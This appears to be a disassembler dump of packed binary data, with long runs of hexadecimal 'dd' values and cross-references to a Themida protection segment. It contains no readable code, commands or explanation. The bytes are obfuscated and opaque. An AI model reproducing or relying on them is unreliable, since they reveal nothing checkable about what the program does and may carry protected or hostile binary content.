		dd 0DA6AEFECh, 63D0CDE1h, 0F4BECE13h, 0BAB13257h, 51C4CDAFh
		dd 0A6C4CDA3h, 57B13BBFh, 47294556h, 0FD52F431h, 0DD4E954Ah
		dd 75B120BFh, 0B0D14956h, 6AD42C18h, 55F79E0Ch,	0A7C3D007h
		dd 435A7AD5h, 0D5B13098h, 0E57139AFh, 75B125D2h, 0BD383D56h
		dd 3DB13256h, 11BEFADDh, 2D585385h, 0CBB13254h,	0B440B8AAh
		dd 1F4D77DDh, 0F7BE356Fh, 0BAB1303Fh, 5DBDB259h, 25BE3256h
		dd 57B13250h, 0ABB1B859h, 904E3256h, 9532C7AAh,	0F1BE3252h
		dd 0BAB1327Ch, 51CEB1AAh, 0B1353D56h, 58B13256h, 0ABB133DBh
		dd 0B758CA56h, 8AB13256h, 0FB33FAE9h, 0BAB6DB64h, 0B14B3256h
		dd 0D04D919Fh, 0A80953F8h, 0A44ECDA9h, 0D5B133D6h, 0EF08CE56h
		dd 7AB13256h, 0BAB126DDh, 0D6D75256h, 0AEB8DA9Eh, 7B443256h
		dd 756B9CEh, 8E546DEBh,	8A1AC137h, 0F468B930h, 4E9A34B9h
		dd 47585301h, 0A14ECDA9h, 57B13ED1h, 0AD3C3D56h, 0DAB13256h
		dd 0EAB132DFh, 65CEB156h, 0C5353D53h, 0B4B13256h, 0AEB13245h
		dd 6DA81B87h, 5C587F3Dh, 4877CB32h, 0D039E622h,	15EC6922h
		dd 0B54A8559h, 5DB132D3h, 0D1325356h, 0D2BE3446h, 0ABB13229h
		dd 0D5B138BFh, 0C9FB0556h, 0E40DB7D7h, 0B561D790h, 5DB13DD0h
		dd 0AEBBDB56h, 3AA73256h, 4A358864h, 0F0E90EBh,	0AD3ACB17h
		dd 75BBDB52h, 0DD303256h, 0CB5D8B13h, 9569E692h, 58BD6DDDh
		dd 0ABB133D3h, 358CB56h, 8AB13256h, 25888B30h, 7A063D36h
		dd 1A3A5337h, 0F13ACB52h, 57A0DB5Ah, 165A3256h,	0F54AF5A2h
		dd 4DA89E35h, 0F036CFA3h, 53277D34h, 5DB132C3h,	0AEB134BFh
		dd 9E8CE256h, 2085CBC4h, 5E493611h, 13D13E09h, 75B2B059h
		dd 31D73256h, 29A53A1h,	4532CB52h, 0B7305253h, 0FDE3AB42h
		dd 0D5B122BEh, 0FCB6B456h, 0C2143D39h, 0B5666CBDh, 0B1F1C04Bh
		dd 0AEBEDBB9h, 5943256h, 9C399520h, 72D88DD1h, 0AE122353h
		dd 0F6D06887h, 0B5B22229h, 5DB106D3h, 47D15256h, 57B13242h
		dd 72E0124Fh, 0EA3CA3F3h, 3847BBD7h, 0E0F98F41h, 0FF699C55h
		dd 0D4BE53AAh, 0AEB13255h, 364E8559h, 64305217h, 0DC51BC10h
		dd 3A58C30h, 9C681937h,	0BAB1325Bh, 8B29833Ch, 7BE70676h
		dd 0F75CA77Ch, 0AAEDBBA1h, 57BE5257h, 0EAB13241h, 75B123BEh
		dd 801D1C56h, 26C3FDD6h, 9C879D69h, 8B6B9C83h, 0A4EE12A5h
		dd 0D5B130DFh, 8B40B956h
		dd 8A4ECDEEh, 0BF08CEA9h, 0B4B13256h, 0AEB1325Dh, 0CF216581h
		dd 0D9A6A339h, 3C0567C5h, 0EAB13246h, 23EC828Bh, 744EFCDAh
		dd 0F2928A3Eh, 5A9CA15Ch, 0BE4D99A5h, 544ECF07h, 0D5B126BFh
		dd 3190A556h, 0ACD018EFh, 60ABA8C3h, 9E563A76h,	0BED6C58h
		dd 9E4953B0h, 8C65B236h, 4CF565EEh, 0E2735367h,	60323D56h
		dd 53B13256h, 5DB13246h, 73888505h, 48F995E0h, 0EA37BF78h
		dd 0C763E1BFh, 0EAB9B059h, 0FDBE3256h, 0BAB13254h, 3DE45336h
		dd 0B850B330h, 367BB9F4h, 2844DEDDh, 0D258CE92h, 0B7B13256h
		dd 8C16EFE6h, 32BE0C61h, 5DB13242h, 0AEB13DBFh,	75AD356h
		dd 0F8224232h, 2569E1B9h, 0EAC169FFh, 7D303D36h, 0B5B13256h
		dd 5DB130D5h, 0A1D05256h, 57B122DDh, 0ABBADB56h, 234F3256h
		dd 9BAE23FFh, 0C1BE2A84h, 0B2F4B9A0h, 51F409AAh, 0AEFDB059h
		dd 5F583256h, 0EBB13256h, 54F2FD61h, 0D1687BF3h, 0F2BE2213h
		dd 0BAB13260h, 26068836h, 25D765BBh, 1276538Ch,	0ABB132AAh
		dd 0D2333D56h, 0E5B13256h, 75B133DBh, 9B58CB56h, 3DB13256h
		dd 0AEB7B859h, 0A0303256h, 0AC2C1CEFh, 0D05E90EFh, 0AF765367h
		dd 75B133AAh, 0BB58CE56h, 0A8B13256h, 0A6303D37h, 58B13256h
		dd 0ABB130DEh, 5ED05256h, 61BECE13h, 75B1325Ch,	0B5EB6536h
		dd 5DB132D6h, 47785356h, 57B13258h, 3E8587B2h, 12A8BE81h
		dd 116A09D0h, 79733382h, 0B5E4CB56h, 5DB133DFh,	423ACB56h
		dd 57B123BFh, 365D1C56h, 3CCE0444h, 0FB4D5E67h,	3ED66582h
		dd 39487ABAh, 5758CE92h, 0C2B13256h, 0FF551416h, 4ED04C8Fh
		dd 5BBE5227h, 0EAB13251h, 75B0B059h, 52443256h,	5DB13256h
		dd 75BB30Ch, 0ABB6D8A7h, 0AE3B3D36h, 6CB13256h,	0AE5AF36Ch
		dd 1426DCD6h, 0BABDDA36h, 15DA3256h, 0B1152635h, 0ED6454FCh
		dd 14D77C3Bh, 54EBB81Ch, 0F02C491h, 0BC825350h,	423A5436h
		dd 55338930h, 476A0137h, 57B1325Fh, 0BCE8C7BDh,	62E7843Ch
		dd 16ECBBB4h, 75B0BA59h, 31483256h, 0B71D38ECh,	0AEBBDB51h
		dd 2DED3256h, 0CA2DBB61h, 6E1AA3CDh, 0E5B10DD5h, 75B352D2h
		dd 8532CE56h, 8343DA9h,	47B13256h, 57B1325Bh, 171BEFD3h
		dd 0A670437Ah, 776B9BF7h, 6176B1F6h, 0BAB122BFh, 3FCB8B56h
		dd 0B606EE68h, 414298ACh, 22AFB835h, 0DD313D93h, 0E5B13256h
		dd 75B130DBh, 53D05256h, 0A24ECDE6h, 0AEB121BFh, 86047956h
		dd 0DC824410h, 0C69E067h, 0DCD21098h, 7809A018h, 0BAB54DD5h
		dd 5D85B659h, 0A2583256h, 84B13256h, 9D76BB96h,	0B06CFC4Ch
		dd 69D97762h, 7AB13E29h, 0BAB12BD2h, 6458C756h,	47B13256h
		dd 57B13258h, 6275A37Ch, 0D120D83Dh, 0AD7EC9D2h, 304EA7A8h
		dd 3FBECAAAh, 5DB13253h, 5B40B836h, 4376B137h, 0ABB0BD59h
		dd 3C483256h, 154ECD6Ah, 74303DAEh, 43B13256h, 58A14DD5h
		dd 0AE3FB659h, 52583256h, 0CDB13256h, 0D4CD8F75h, 0ECA14DD5h
		dd 7510B759h, 3BD13256h, 7C3234A7h, 47D0CB49h, 57B13245h
		dd 0D335447h, 396D7FD2h, 1F96329Dh, 8E5B472Bh, 0FB14CB73h
		dd 5DB123BFh, 5A5BF656h, 3037F90Ch, 1E638E26h, 3A56A684h
		dd 0AD3A6C11h, 74343D52h, 43B13256h, 52BD6DDDh,	0AEB133DEh
		dd 8658CE56h, 0CBB13256h, 1D305436h, 61D78014h,	65595399h
		dd 0EFB13256h, 0B177246Ah, 81E406A3h, 0F3B8B3E9h, 0CB345964h
		dd 0B5D06D37h, 8B4B8D59h, 7AB575DDh, 0BAB138D1h, 0DDBE5256h
		dd 0AEB13256h, 37D05336h, 0A7EEB937h, 0D5B0B159h, 3483256h
		dd 75B13201h, 31D0CE36h, 0DCBE3611h, 0AEB13258h, 57323D36h
		dd 0A4B13256h, 0D5B132DBh, 0B53A5356h, 75B6DB5Ah, 0F0333256h
		dd 0DF598DD6h, 0F19AC75Eh, 0DBBEC752h, 0ABB13257h, 0D05AB1AFh
		dd 0EAB0B659h, 0F6483256h, 0B5B22229h, 5DB13CD3h, 0C8D1CB56h
		dd 16D0EBDDh, 14AC8836h, 0FED038B6h, 0E2343D8Fh, 7AB13256h
		dd 0BAB130DEh, 52D05256h, 0AEB125D9h, 57A3DB56h, 3D7D3256h
		dd 5F496AB2h, 0FDEA3453h, 593BEBDAh, 0A64AD191h, 5CB06EDFh
		dd 0AEB8B759h, 0DDD13256h, 0FE658BB3h, 20D06EDCh, 154ECDEEh
		dd 72393DA9h, 0DAB13256h, 3D2BD7D6h, 0AB085337h, 58B13256h
		dd 0ABB139D4h, 0D5B7DB56h, 0F9A3256h, 0F3591135h, 30BE99A5h
		dd 5DB13258h, 0AE3B3D36h, 58B13256h, 0ABB132DBh, 48585356h
		dd 8A4ECDABh, 2E7AB905h, 32BE5337h, 5DB13251h, 0C8D05236h
		dd 0DCD0F3DDh, 6244CE13h, 0D5B134BFh, 0FBA75356h, 0B62C47B8h
		dd 0BAB8DBAEh, 557A3256h, 9C66B97Eh, 77DBF9Ah, 0ABB4DB36h
		dd 37493256h, 8BEF1E05h, 75BEDB07h, 87A53256h, 0A16637B3h
		dd 36533504h, 4796C727h, 2FBE614Fh, 0D5B1324Ah,	0EAA7B559h
		dd 64583256h, 24B13256h, 49F4CA7Fh, 443F0B60h, 0A91A3C70h
		dd 866CB447h, 0D5B1DAAFh, 6BEB3256h, 9F45C9BCh,	0BAA5DB51h
		dd 45603256h, 98FCD492h, 7270D9D6h, 80926611h, 0B4C1D0F9h
		dd 6ABE6E71h, 75B13251h, 3AEB6236h, 52D0CBB0h, 0AEB137D4h
		dd 0DD495256h, 26BE53B9h, 0D5B13251h, 213A5436h, 0F8D0B4E1h
		dd 501C27CCh, 0AE315251h, 5C305422h, 0EFD0561Eh, 0ABB13232h
		dd 825AB236h, 0EAB121BEh, 98FB056h, 0FB5B89CEh,	7E55233h
		dd 3401B67Dh, 0F3319B61h, 0F360B930h, 0D5BADB37h, 14883256h
		dd 67F434C1h, 0DDC8C418h, 5882DA5Bh, 254D3256h,	968ACB5Dh
		dd 0AB22DBAFh, 0D8583256h, 32B13256h, 8033BDC9h, 0DB961E3Ch
		dd 175985FAh, 47B57955h, 57B13250h, 8695F113h, 148A46F9h
		dd 0EA06B059h, 79583256h, 0CFB13256h, 0F00A53EAh, 0AFFAB848h
		dd 585FB885h, 0ABB136D3h, 8BE15256h, 0FAFA3137h, 75B8B159h
		dd 0B5D13256h, 5DB132DBh, 95D0C756h, 45333D97h,	0CBB13256h
		dd 7B57CBEEh, 0B878B7Eh, 9CD02EF4h, 0BAB13251h,	5D11DBAEh
		dd 474D3256h, 57B132CCh, 0ABB126BFh, 860B4956h,	0FF91CF72h
		dd 0C38A8CCh, 2384B756h, 83D886FEh, 0DB2BBF4Dh,	0ABB6D934h
		dd 0ABB0B959h, 2A4D3256h, 0EABCDB85h, 0DD4E3256h, 0EA5AD33Ch
		dd 0E224232h, 4769E1B9h, 57B1320Ch, 0E85BB336h,	0B3D1FB39h
		dd 52DCDAD7h, 673E3D37h, 0DAB13256h, 5DB13BBFh,	0CBDEFE56h
		dd 45F3518h, 0CAD1EACEh, 4E2BBF37h, 3B6D933h, 75B1325Ah
		dd 1C1EDD09h, 83C45F9h,	1616D498h, 57B138BFh, 83687856h
		dd 0D5FECEF4h, 157B69ADh, 72373D85h, 0DAB13256h, 0D6D75336h
		dd 56EA539Dh, 37E9CA0Fh, 0CBD0FCDDh, 0D5B13ABEh, 0B76C8456h
		dd 3D75B837h, 830B5444h, 0B5E26DD9h, 0AEB13245h, 559127h
		dd 0E4A920A1h, 979AAA9Ah, 3ED5D6C4h, 2E428F6Eh,	4672530Fh
		dd 0E2085203h, 2F826612h, 0FB75FD95h, 473A5310h, 0D5BAB959h
		dd 0EC583256h, 0CCB13256h, 0BF71CD96h, 4B383DD2h, 0A1B13256h
		dd 57B122D0h, 0ABBADB56h, 9ADB3256h, 7154058h, 56355E2Fh
		dd 0BAB1DACDh, 0DCEB3256h, 444615BCh, 5D58CA51h, 74B13256h
		dd 2E592C0Dh, 600744F5h, 7F5852C5h, 0B7B13256h,	0B21DCB8Ch
		dd 0EFF750E4h, 420BBFFFh, 0A4B6D8FBh, 0D5B120D3h, 52D75256h
		dd 73590ED9h, 0BAB13256h, 560677FBh, 57D06B61h,	58B977DDh
		dd 0ABB13FDCh, 0A20F5256h, 0E585F332h, 75B132D4h, 0BD385356h
		dd 5DB138BFh, 0B97C2456h, 82D0BCE8h, 2022D7CDh,	53BE3E13h
		dd 0EAB1324Fh, 75B126BFh, 0ED307756h, 3AE5195Ch, 0A3A787A8h
		dd 351CE9Bh, 9480688Ch,	57BE5213h, 0EAB13254h, 0B43BEDDDh
		dd 0BEF6BB37h, 5DB13EBFh, 3C0C2356h, 0A9261413h, 356DE533h
		dd 0C5F4B92Fh, 0E6F6BBAEh
		dd 61F4B9AAh, 0BABFB559h, 54583256h, 5FB13256h,	0FC3233CDh
		dd 0F8FBF5CBh, 0B5A175DFh, 3D6BB3AAh, 14C2B22Ch, 0AF383D37h
		dd 0B4B13256h, 0AEB13246h, 93EF3458h, 47DB078Ah, 6624CA0Fh
		dd 0C0EECE44h, 7D3C3D9Fh, 0B5B13256h, 5DB130D2h, 6CD05256h
		dd 0DABE3246h, 0ABB13257h, 58BE52A3h, 0EAB1325Eh, 75B3BA59h
		dd 0DBD13256h, 719CB790h, 0CEF635B2h, 6170E3D7h, 0A7587D1Fh
		dd 5DB13256h, 0AA65DE21h, 3504EAA8h, 0DB0A8D9Fh, 4AC2283Eh
		dd 25D752FEh, 57BDDBAEh, 0A7863256h, 0A99F7E79h, 0EEEFF43Eh
		dd 8AD0705Dh, 5E9073E3h, 5DBADB51h, 3C063256h, 0FE409051h
		dd 0CC09AEDCh, 7234BF54h, 0E5B6D5E6h, 75B133D2h, 6A4ECB56h
		dd 5DB9B059h, 21BE3256h, 57B13254h, 0A4E35336h,	0D5B133D0h
		dd 603CCE56h, 725B9CD3h, 5D752AFh, 0CD06743h, 0AEB122BFh
		dd 4F956256h, 52EA92F7h, 0F7ECA95h, 7185A195h, 9C61CD2Ch
		dd 0BAB1325Ah, 55ADC9B5h, 0F5AACB95h, 0D56D897Ch, 4930520Ch
		dd 8717F9D4h, 6F33BF37h, 9CB6D8F8h, 0BAB13246h,	98F153A5h
		dd 5304AD88h, 9F775891h, 0C6198A51h, 0D9F18559h, 0EAB13ABFh
		dd 948DBC56h, 0A425D953h, 5269B945h, 0AEB133D8h, 0A2E3CA56h
		dd 0BB580359h, 58B13256h, 0BB6897C7h, 6E7B33E6h, 0E29DD24h
		dd 71D3BCFh, 68063D36h,	57B138BFh, 901F9656h, 8BAFAB35h
		dd 8B20DFBAh, 0FBBEF155h, 0BAB1325Eh, 5DB3B459h, 0CFD13256h
		dd 7200B0DFh, 0CA4935B2h, 0D5BCB059h, 0E2583256h, 0C7B13256h
		dd 249062B8h, 9E522C72h, 0A9383DAEh, 58B13256h,	0B133DFh
		dd 0E951F900h, 11h, 870E0A20h, 1830D41Ch, 8213DFDDh, 4D264B51h
		dd 8E0F52F6h, 0Ch, 68D0Fh, 880F0000h, 0
		dd 0E8h, 0EA815A00h, 7EAF9C6h, 6E960h, 0F92A0000h, 9133D8DCh
		dd 61CA8B66h, 6E9h, 75055300h, 609DD382h, 0B7D68166h, 52FC61F7h
		dd 8840Fh, 0F600000h, 83h, 8BFC6100h, 0E425B182h, 15800F07h
		dd 0F000000h, 0F8Ch, 0AE900h, 6BFE0000h, 37D431A1h, 697B34B3h
		dd 0C64E6DB9h, 0E1F7F841h, 0C1BE6660h, 61F78BF2h, 13E9605Ah
		dd 90000000h, 79425039h, 5CF1DFCBh, 101A5826h, 765AA1D2h
		dd 0B86672DFh, 56194BBh, 3039h,	168C0Fh, 8A0F0000h, 10h
		dd 0BE9h, 2205400h, 0E7BC342h, 0D91067E6h, 0FFFFFF25h
		dd 18890F7Fh, 0E9000000h, 13h, 2C925A45h, 2A23C56Fh, 8992B9B3h
		dd 8D0948E1h, 89C9E9A7h, 0E425B182h, 1830F07h, 0F5000000h
		dd 0E181605Ah, 9F4F0C5h, 6474BB66h, 820F5961h, 7, 1820Fh
		dd 0C3F80000h
		db 0F5h
byte_5F1F49	db 51h,	60h, 0Fh	; DATA XREF: Themida_:00585188o
		dd 286h, 61A2B500h, 8B666052h, 0E861FCF9h, 0
		dd 0D5EA815Ah, 6007EAFAh, 840F60h, 61000000h, 9C0DE781h
		dd 0F614AC0h, 1087h, 0BE900h, 0AC9B0000h, 0D8CB2411h, 0DDF60AF8h
		dd 0E9C88B1Dh, 14h, 59824B5Dh, 2895586h, 0D977CB51h, 0EC9182D3h
		dd 28D55C2Eh, 0FFFE75E8h, 820FFCFFh, 17h, 12E9h, 8A8CD200h
		dd 984E1C01h, 0A3FF59CDh, 0D3F4691Ah, 3345390Fh, 816660D2h
		dd 61EBA8DBh, 8B0FF1F7h, 7, 1860Fh, 8BF80000h, 605AF5C2h
		dd 5B616050h, 61FBB70Fh, 60C3F859h, 880Fh, 8B610000h, 0C9B260C0h
		dd 6E8h, 0E7B04700h, 0FC67BBBh,	81h, 0E9615A00h, 0Ah, 0D4F6B339h
		dd 36B4CF52h, 0C08B2B99h, 0C860Fh, 820F0000h, 6, 810Fh
		dd 858D0000h, 7EAC370h,	11850Fh, 0CE90000h, 58000000h
		dd 9C601D85h, 58AE83AEh, 0FFBBD292h, 98C0FD0h, 60000000h
		dd 66FAB70Fh, 61DB03BBh, 60C18B66h, 38D0Fh, 0BF0F0000h
		dd 61FB8BCAh, 0F997858Dh, 8B0F07EAh, 4,	61FA8B60h, 279D8589h
		dd 850F07E4h, 7, 0F616060h, 8D61DABFh, 0EAFABE85h, 0EE907h
		dd 0AE230000h, 4CE839B8h, 0A1F4411h, 83ADDE63h,	2CFD8589h
		dd 10E907E4h, 49000000h, 0F2588E37h, 3F090A4Dh,	1519DAADh
		dd 0F886C289h, 0B8h, 800FFC00h,	1Ah, 14860Fh, 0FE90000h
		dd 86000000h, 2A543040h, 664E82FEh, 0F479A5F1h,	0C00B8B23h
		dd 127840Fh, 0C6FC0000h, 0E42C2D85h, 0E8605607h, 6, 474AC343h
		dd 0E4807633h, 0FA8A5FEBh, 30DF6861h, 0E960A9C5h, 8, 7737F00h
		dd 0BFC778BDh, 61F28B66h, 2141B5FFh, 8E907E4h, 30000000h
		dd 7177F341h, 8DD541BAh, 0E7B0A785h, 178D0F07h,	0E9000000h
		dd 12h,	3FFD1DB0h, 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 0D0FF26A4h
		dd 8DF950F8h, 0E426C18Dh, 0F951F907h, 0AE9046Ah, 34000000h
		dd 198CD795h, 0DB3B86C7h, 100068FBh, 0FFF80000h, 0E415DDB5h
		dd 0D0FFF907h, 18E0Fh, 0FF80000h, 184h,	0BD8BF900h, 7E415DDh
		dd 0C2BF0F60h, 0CE961h,	8D0F0000h, 0D81FA2DDh, 0C1E7669Ch
		dd 7F03E409h, 6060F83Ch, 0A7B7D081h, 59521F82h,	47BB5761h
		dd 59578BCDh, 0F8C78161h, 60000000h, 68F0Fh, 8C0F0000h
		dd 0
		dd 0C761FB8Bh, 202447h,	850F6000h, 1Bh,	158B0Fh, 10E90000h
		dd 6000000h, 41016941h,	322908D2h, 0CDA0E3BEh, 0E9E31071h
		dd 0Dh,	44C58649h, 956F7C83h, 316951D0h, 59D8DECh, 0E907E404h
		dd 14h,	773DDE33h, 0FA99770Bh, 0E907DF31h, 0CF0F3969h
		dd 4F152F0Bh, 98E0Fh, 53600000h, 22D2BF5Ah, 8B615B97h
		dd 0E960F503h, 9, 0AB789176h, 0E54A2930h, 2800F6Ch, 8B000000h
		dd 0C00B61D0h, 43840Fh,	0B5600000h, 0E961F93Ah,	5, 6A51938Eh
		dd 60008BA0h, 13E960h, 31190000h, 0B7629DBCh, 4DB230CEh
		dd 0D362A14Ah, 0B3FAB37Dh, 81666109h, 611641D6h, 0D781F560h
		dd 1BD275E1h, 4438961h,	0DEB70F60h, 4CF6B961h, 8D8D0023h
		dd 7EAFEB4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	65C35242h, 4D5ACE41h, 23720762h, 6850Fh, 0BD8B0000h
		dd 7E40DB9h, 53D8B70Fh,	718D895Eh, 3307E41Bh, 0E4140D85h
		dd 0A185C707h, 0B007E42Dh, 0F000059h, 38Ah, 0D88B6600h
		dd 22B985C7h, 7E4h, 9D890000h, 7E41D55h, 2291B5FFh, 0FE8B07E4h
		dd 306195FFh, 0B58907E4h, 7E40A11h, 95FF006Ah, 7E40E41h
		dd 6FEBC08Bh, 1BA9B049h, 97030C6Bh, 496705B5h, 52F3A68Bh
		dd 578DB984h, 0FA4E6EE6h, 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h
		dd 0E451A599h, 37F7625Dh, 314DC37Ch, 3664DE08h,	3893449h
		dd 0EAD71302h, 4A7CF0C5h, 72EC157Ah, 852F3BAAh,	0CE6CBB1Ah
		dd 1980141Fh, 68A80D53h, 0EAF4BA02h, 0DA267E44h, 59327264h
		dd 17FA4F96h, 0B2AD8715h, 6CE3528h, 8D912D1Eh, 0EB00088Dh
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0EA91F8E5h, 5E8BFh, 0E6EE0000h, 8B171F47h
		dd 0E40A5DB5h, 0D4BB5A07h, 8948A04Eh, 0E41B718Dh, 0C7C68B07h
		dd 0E42DA185h, 633407h,	0CA816600h, 85C75C10h, 7E422B9h
		dd 0
		dd 0AE860h, 0FDDB0000h,	9B1B399Dh, 962158B3h, 19159D8Bh
		dd 35807E4h, 0E41C75BDh, 0B5FF6107h, 7E40E15h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F1C35646h, 0A50B192h
		dd 6049F6DEh, 58C88A51h, 0F555B7BBh, 95FF6105h,	7E43061h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A2C35343h
		dd 68093D90h, 5E56046Dh, 95FF006Ah, 7E40E41h, 5EEBC08Bh
		dd 36A8FB0Fh, 2743F575h, 4A60BB5Eh, 0F6A8BBE6h,	0CD298D23h
		dd 0CD3D6C60h, 0E0D863ACh, 0E6E88350h, 0F987A1A9h, 0AD7AB257h
		dd 3E8B2167h, 0B09BFACBh, 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h
		dd 0B9125EECh, 0DE2AB413h, 3EEAB696h, 5C0E9114h, 6F3BEA35h
		dd 0E4AF1D1Ah, 13FDE9A3h, 3D33A4B8h, 0DE8D73Ah,	9D000000h
		dd 0FE88F876h, 0E7C01150h, 0B287548Bh, 6830Fh, 85890000h
		dd 7E40065h, 9BB8665Bh,	0B7C38178h, 8900006Dh, 0E422C985h
		dd 73CEBA07h, 0F2811DEBh, 1DEB6884h, 139E2FBEh,	8B0B8B63h
		dd 0E40FA1BDh, 6F18107h, 662C3A9Eh, 20D7D881h, 20ABC181h
		dd 0BD893575h, 7E41BD1h, 0ECB6F181h, 0B8660B81h, 8A514CB9h
		dd 89038FE5h, 0E40939BDh, 89EB8107h, 6624B90Ch,	0C381F88Bh
		dd 24B90C85h, 9075B866h, 1EA81h, 850F0000h, 0FFFFFFADh
		dd 6F9858Bh, 0CE807E4h,	17000000h, 0BE1FD8B8h, 0FA01546h
		dd 8B278E4Ch, 0E431CD95h, 60535E07h, 867BE781h,	0E2800AACh
		dd 815B6157h, 6736C6h, 3946B900h, 9BB83CEAh, 0F000019h
		dd 28Dh, 0FF25B300h, 0B5B53136h, 5F07E421h, 0F78104B1h
		dd 0D923BA2h, 2D599D89h, 0C78107E4h, 0F049B44h,	0C781D4B2h
		dd 10AEF376h, 57DBB70Fh, 991958Bh, 68F07E4h, 0DABF0F57h
		dd 4EE835Ah, 18D0Fh, 83F50000h,	850F01E8h, 1Ch,	18B18D89h
		dd 42E907E4h, 0E6000000h, 1BF32575h, 4B2013E5h,	5A09BF67h
		dd 483B1DCEh, 0CE8h
		db 0
byte_5F2635	db 74h,	0F6h, 17h	; DATA XREF: Themida_:005851E4o
		dd 0C0B43181h, 79731960h, 0A58589BAh, 5B07E425h, 0FFFF7EE9h
		dd 8C349FFh, 0B654AC30h, 0B06DFC88h, 270F81CDh,	417F9EAAh
		dd 12E8A0h, 76500000h, 28D94AD5h, 4FFCA2h, 0BDCA5BFBh
		dd 0F80CD2DDh, 8F0Fh, 29590000h, 0E405819Dh, 91C18107h
		dd 0E900005Bh, 0Ch, 1D071372h, 0AB70E7Ah, 0A7B5E98Bh, 16B1B8h
		dd 820F6000h, 6, 2B618D29h, 958907E4h, 7E400A9h, 8B31FF61h
		dd 0E4224DB5h, 81605B07h, 0D46CADD2h, 0C985895Eh, 6107E40Eh
		dd 0B368F381h, 0F48A7903h, 4130F381h, 0F7811788h, 485C7B9Ah
		dd 5CCF381h, 950938AEh,	7E41F39h, 0B5291989h, 7E41ECDh
		dd 6604E983h, 0E881F98Bh, 1, 1E850Fh, 810F0000h, 0
		dd 26E9h, 75358900h, 6BB49232h,	0C1CC46F7h, 9FA94C80h
		dd 0DEE24596h, 2025B589h, 86E907E4h, 0C8FFFFFFh, 0ABF85F9Ah
		dd 8D5EDBB0h, 0EB03028Dh, 918D8907h, 8907E426h,	0E41B718Dh
		dd 39958907h, 8907E427h, 0E4064D95h, 0A185C707h, 0B407E42Dh
		dd 1000069h, 0E42A119Dh, 0B985C707h, 7E422h, 0B000000h
		dd 0E42D099Dh, 19B5FF07h, 6607E409h, 0B652C381h, 306195FFh
		dd 6A07E4h, 0E4195FFh, 0C08B07E4h, 0A3585EEBh, 63CD2A3Dh
		dd 538329CBh, 78B3BB5Fh, 0D8DE146Dh, 321AC215h,	0A4C98731h
		dd 2CA821F2h, 0E753CBDDh, 16C7A964h, 0CAC1B62Fh, 7B6B88DBh
		dd 17F8BB16h, 49513003h, 78900CDh, 4977BBE3h, 0A79412FBh
		dd 16407C46h, 352B51E2h, 0D67E746Fh, 3E9696FEh,	0D7115128h
		dd 37D8A028h, 394C7057h, 4178D8Dh, 89F907EBh, 0E41B718Dh
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0FF728BC5h, 0D6CE0582h, 85C7F88Bh, 7E42DA1h
		dd 63DCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0DCC35545h, 0A4C18881h,	617856Ah, 28C0F57h, 8B000000h
		dd 85C75BC1h, 7E422B9h,	0
		dd 539B589h, 0B5FF07E4h, 7E41E8Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 25C35242h, 8101A986h, 7B5B2AFBh
		dd 306195FFh, 6AF807E4h, 4195FF00h, 8B07E40Eh, 2D1CEBC0h
		dd 8C739695h, 0CEBE5755h, 8855CF79h, 9B9C5B55h,	0C334BB02h
		dd 1E934D45h, 0E9B0A0D0h, 2Ah, 0CDD7FBEh
dword_5F28CC	dd 9 dup(0)			dd 0E3E90000h, 6800000Bh, 7EB05DCh, 0FA5A44E9h,	70368FFh
		dd 3AE907EBh, 68FFFA5Ah, 7EB090Ah, 0FA5A30E9h, 0A6F68FFh
		dd 26E907EBh, 68FFFA5Ah, 7EB0BB8h, 0FA5A1CE9h, 0D7668FFh
		dd 12E907EBh, 68FFFA5Ah, 7EB0EA6h, 0FA5A08E9h, 89CF8BFFh
		dd 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh, 7CC1EA1Eh
		dd 2B4073D7h, 0DEF3262Ch, 90A5D878h, 0F15689C5h, 9274A487h
		dd 0C5792400h, 327CD9C4h, 96E02921h, 65A9A7AFh,	286CE472h
		dd 78788CD5h, 7CA1CE49h, 0DACD4172h, 98A0D37Bh,	49307A76h
		dd 950F400Ah, 0FA776FB2h, 0E3273423h, 0FA54C0F4h, 0BA952823h
		dd 5E59FEAEh, 407D5Ah, 39810000h, 0FA5D2656h, 32152323h
		dd 23FA5D02h, 80B1FA07h, 0C8C0E601h, 979C9B7Eh,	0D27F23F9h
		dd 3487CB83h, 84B8A7EBh, 0EC23F997h, 7AD40618h,	0FA99593Ah
		dd 0A3BF90C9h, 5A5E13CBh, 0D270h, 7CD96F00h, 0B89B8ED2h
		dd 0FA5B4E92h, 381D1054h, 6CD2E316h, 5F1C1593h,	102558F6h
		dd 0DFC50945h, 0ADDDC0C9h, 0B21C1592h, 2F125CA5h, 23F9A774h
		dd 81F72A37h, 9F265639h, 162323F9h, 0F8292B2Dh,	84CEDAECh
		dd 0E111F43Ch, 0DE23F99Eh, 478BA0D1h, 4C2BE088h, 4E97B59Fh
		dd 1A3C1D04h, 0D85283D6h, 9EE862F1h, 83B4A2B7h,	62480B20h
		dd 21135CF4h, 0C2A659DEh, 0D1252246h, 0B5000009h, 6B80B3A5h
		dd 203568EEh, 0D0E51834h, 8499CC88h, 14487BCFh,	9DADA6B7h
		dd 5002556Ah, 24E081Dh,	0B39BBACFh, 0CEB11B80h,	2400939Eh
		dd 78E6E79Bh, 8F1D4D30h, 15221C15h, 0A3D82D01h,	2D5E573Dh
		dd 0D80B3F14h, 89BC92C3h, 24282C13h, 42E3C2E0h,	0D72206E9h
		dd 78DE5D8Eh, 5C8DC791h, 4E313E50h, 1C158F1Eh, 7BC50E1Bh
		dd 0F9979998h, 45899623h, 0F9982256h, 0A0B2A523h, 60EA695Ch
		dd 0D877121Ch, 3B14A7ABh, 5EAA7F2Fh, 0F7DA225Ah, 23F993C7h
		dd 0E686B7C4h, 0D0h, 327CD9E5h,	99E32C24h, 78A9A1B2h, 0D99EB004h
